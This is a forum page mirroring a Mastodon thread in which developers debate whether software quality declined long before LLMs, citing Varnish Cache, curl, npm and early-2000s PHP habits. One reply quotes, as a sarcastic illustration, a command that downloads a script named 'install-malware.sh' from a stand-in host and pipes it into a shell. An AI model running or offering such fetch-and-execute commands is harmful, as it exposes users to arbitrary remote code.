Skip to content
  • Hjem
  • Seneste
  • Etiketter
  • Populære
  • Verden
  • Bruger
  • Grupper
Temaer
  • Light
  • Brite
  • Cerulean
  • Cosmo
  • Flatly
  • Journal
  • Litera
  • Lumen
  • Lux
  • Materia
  • Minty
  • Morph
  • Pulse
  • Sandstone
  • Simplex
  • Sketchy
  • Spacelab
  • United
  • Yeti
  • Zephyr
  • Dark
  • Cyborg
  • Darkly
  • Quartz
  • Slate
  • Solar
  • Superhero
  • Vapor

  • Default (No Skin)
  • No Skin
Kollaps
FARVEL BIG TECH
  1. Forside
  2. Ikke-kategoriseret
  3. Tempted to write a post that software development lost the plot a long time ago, and that the recent LLM developments are merely the icing on that cake.

Tempted to write a post that software development lost the plot a long time ago, and that the recent LLM developments are merely the icing on that cake.

Planlagt Fastgjort Låst Flyttet Ikke-kategoriseret
20 Indlæg 14 Posters 1 Visninger
  • Ældste til nyeste
  • Nyeste til ældste
  • Most Votes
Svar
  • Svar som emne
Login for at svare
Denne tråd er blevet slettet. Kun brugere med emne behandlings privilegier kan se den.
  • bert_hubert@eupolicy.socialB bert_hubert@eupolicy.social

    Tempted to write a post that software development lost the plot a long time ago, and that the recent LLM developments are merely the icing on that cake. Software these days is not the painstaking work by people like @bagder or @hyc or @vitaut who write the best code they possibly can. Over the past decade, "the software world" has been developing in a very different way than that.

    steelman@mstdn.ioS This user is from outside of this forum
    steelman@mstdn.ioS This user is from outside of this forum
    steelman@mstdn.io
    wrote sidst redigeret af
    #11

    @bert_hubert do it.

    1 Reply Last reply
    0
    • ainmosni@social.ainmosni.euA ainmosni@social.ainmosni.eu

      @bert_hubert You are not wrong, in many ways, this is a natural result of the "race to the bottom" that software has been put on by the "move fast and break things" mentality it got from Silicon Valley.

      That said, this accelerates it in such a way, that I have the feeling that we might finally hit rock bottom.

      Also, I wish more people acknowledged the ethical hell that LLMs represent in code, but I guess not enough people in software care about ethics for that to really make a difference.

      abhayakara@mastodon.nlA This user is from outside of this forum
      abhayakara@mastodon.nlA This user is from outside of this forum
      abhayakara@mastodon.nl
      wrote sidst redigeret af
      #12

      @ainmosni @bert_hubert

      I feel like taking refuge in hitting rock bottom is the modern equivalent of imaging that the apocalypse is imminent so there's no point in trying to fix things (which I think is why armageddonism is so popular).

      ainmosni@social.ainmosni.euA 1 Reply Last reply
      0
      • bert_hubert@eupolicy.socialB bert_hubert@eupolicy.social

        Tempted to write a post that software development lost the plot a long time ago, and that the recent LLM developments are merely the icing on that cake. Software these days is not the painstaking work by people like @bagder or @hyc or @vitaut who write the best code they possibly can. Over the past decade, "the software world" has been developing in a very different way than that.

        bsdphk@fosstodon.orgB This user is from outside of this forum
        bsdphk@fosstodon.orgB This user is from outside of this forum
        bsdphk@fosstodon.org
        wrote sidst redigeret af
        #13

        @bert_hubert @bagder @hyc @vitaut

        When I started the Varnish Cache project, I explicitly tried to dial code quality up to 11, as an experiment to see if that was a feasible strategy.

        With less than 20 CVE's in 20 years, I think we have given existence proof that "artisan code" is a valid way to produce high-consequence software (see also: sqlite)

        But at the same time, we are very far from "install and forget" when you have to patch once a year.

        bsdphk@fosstodon.orgB 1 Reply Last reply
        1
        0
        • partim@social.tchncs.deP partim@social.tchncs.de

          @bert_hubert Dunno. We complained about poorly flung together software back in the nineties. There might be more of it now, but there also is much much more software now.

          Similarly, people complain that they can’t find a plumber who cares. Maybe software is just a regular craft now?

          abhayakara@mastodon.nlA This user is from outside of this forum
          abhayakara@mastodon.nlA This user is from outside of this forum
          abhayakara@mastodon.nl
          wrote sidst redigeret af
          #14

          @partim @bert_hubert

          Did we have npm in the nineties? I think that's an example of what Bert is pointing to. We were certainly moving in that direction, but the days of "wget http://www.trustme.org/install-malware.sh |sh" hadn't really come yet.

          partim@social.tchncs.deP 1 Reply Last reply
          0
          • abhayakara@mastodon.nlA abhayakara@mastodon.nl

            @ainmosni @bert_hubert

            I feel like taking refuge in hitting rock bottom is the modern equivalent of imaging that the apocalypse is imminent so there's no point in trying to fix things (which I think is why armageddonism is so popular).

            ainmosni@social.ainmosni.euA This user is from outside of this forum
            ainmosni@social.ainmosni.euA This user is from outside of this forum
            ainmosni@social.ainmosni.eu
            wrote sidst redigeret af
            #15

            @abhayakara @bert_hubert Fair, although that is not my intention, I am fighting it, and trying to fix things, but that doesn't stop me from acknowledging that it feels more than a little quixotic.

            abhayakara@mastodon.nlA 1 Reply Last reply
            0
            • bsdphk@fosstodon.orgB bsdphk@fosstodon.org

              @bert_hubert @bagder @hyc @vitaut

              When I started the Varnish Cache project, I explicitly tried to dial code quality up to 11, as an experiment to see if that was a feasible strategy.

              With less than 20 CVE's in 20 years, I think we have given existence proof that "artisan code" is a valid way to produce high-consequence software (see also: sqlite)

              But at the same time, we are very far from "install and forget" when you have to patch once a year.

              bsdphk@fosstodon.orgB This user is from outside of this forum
              bsdphk@fosstodon.orgB This user is from outside of this forum
              bsdphk@fosstodon.org
              wrote sidst redigeret af
              #16

              @bert_hubert @bagder @hyc @vitaut

              The downside of having so few CVE's is that they are useless for statistics, which is why I'm so glad @bagder is doing it in #Curl

              1 Reply Last reply
              0
              • ainmosni@social.ainmosni.euA ainmosni@social.ainmosni.eu

                @abhayakara @bert_hubert Fair, although that is not my intention, I am fighting it, and trying to fix things, but that doesn't stop me from acknowledging that it feels more than a little quixotic.

                abhayakara@mastodon.nlA This user is from outside of this forum
                abhayakara@mastodon.nlA This user is from outside of this forum
                abhayakara@mastodon.nl
                wrote sidst redigeret af
                #17

                @ainmosni @bert_hubert

                I hear you. I guess I'm arguing that imagining that this work is quixotic is unnecessarily self-deprecating. This work is essential. It's just that not everybody understands that yet. The future is here now, just not evenly distributed.

                1 Reply Last reply
                0
                • bert_hubert@eupolicy.socialB bert_hubert@eupolicy.social

                  Tempted to write a post that software development lost the plot a long time ago, and that the recent LLM developments are merely the icing on that cake. Software these days is not the painstaking work by people like @bagder or @hyc or @vitaut who write the best code they possibly can. Over the past decade, "the software world" has been developing in a very different way than that.

                  koos@mastodon.greenK This user is from outside of this forum
                  koos@mastodon.greenK This user is from outside of this forum
                  koos@mastodon.green
                  wrote sidst redigeret af
                  #18

                  @bert_hubert it rhymes with flooding the zone with shit. Billionaires win if users and product owners would stop expecting quality, because then there's no longer a point in becoming a good dev. In Silicon Valley they gave those folks at least a sense of ownership and pride. But now that is threatening their businesses. Because high performers can leave if they don't agree with the company politics. If poor quality is the norm, they can hire poor, mediocre devs who won't complain instead.

                  1 Reply Last reply
                  0
                  • abhayakara@mastodon.nlA abhayakara@mastodon.nl

                    @partim @bert_hubert

                    Did we have npm in the nineties? I think that's an example of what Bert is pointing to. We were certainly moving in that direction, but the days of "wget http://www.trustme.org/install-malware.sh |sh" hadn't really come yet.

                    partim@social.tchncs.deP This user is from outside of this forum
                    partim@social.tchncs.deP This user is from outside of this forum
                    partim@social.tchncs.de
                    wrote sidst redigeret af
                    #19

                    @abhayakara @bert_hubert But then, the early oughts were the heyday of email viruses and people slapping together snippets of PHP they found on the Internet without understanding what they did.

                    The groundwork for OpenSSL becoming somewhat problematic was laid during that time as well.

                    1 Reply Last reply
                    0
                    • bert_hubert@eupolicy.socialB bert_hubert@eupolicy.social

                      Tempted to write a post that software development lost the plot a long time ago, and that the recent LLM developments are merely the icing on that cake. Software these days is not the painstaking work by people like @bagder or @hyc or @vitaut who write the best code they possibly can. Over the past decade, "the software world" has been developing in a very different way than that.

                      hweimer@fediscience.orgH This user is from outside of this forum
                      hweimer@fediscience.orgH This user is from outside of this forum
                      hweimer@fediscience.org
                      wrote sidst redigeret af
                      #20

                      @bert_hubert

                      I think it would be incredibly useful to have a curated list of projects striving to a similar code quality.

                      1 Reply Last reply
                      0
                      • anderslund@expressional.socialA anderslund@expressional.social shared this topic
                      Svar
                      • Svar som emne
                      Login for at svare
                      • Ældste til nyeste
                      • Nyeste til ældste
                      • Most Votes


                      • Log ind

                      • Har du ikke en konto? Tilmeld

                      • Login or register to search.
                      Powered by NodeBB Contributors
                      Graciously hosted by data.coop
                      • First post
                        Last post
                      0
                      • Hjem
                      • Seneste
                      • Etiketter
                      • Populære
                      • Verden
                      • Bruger
                      • Grupper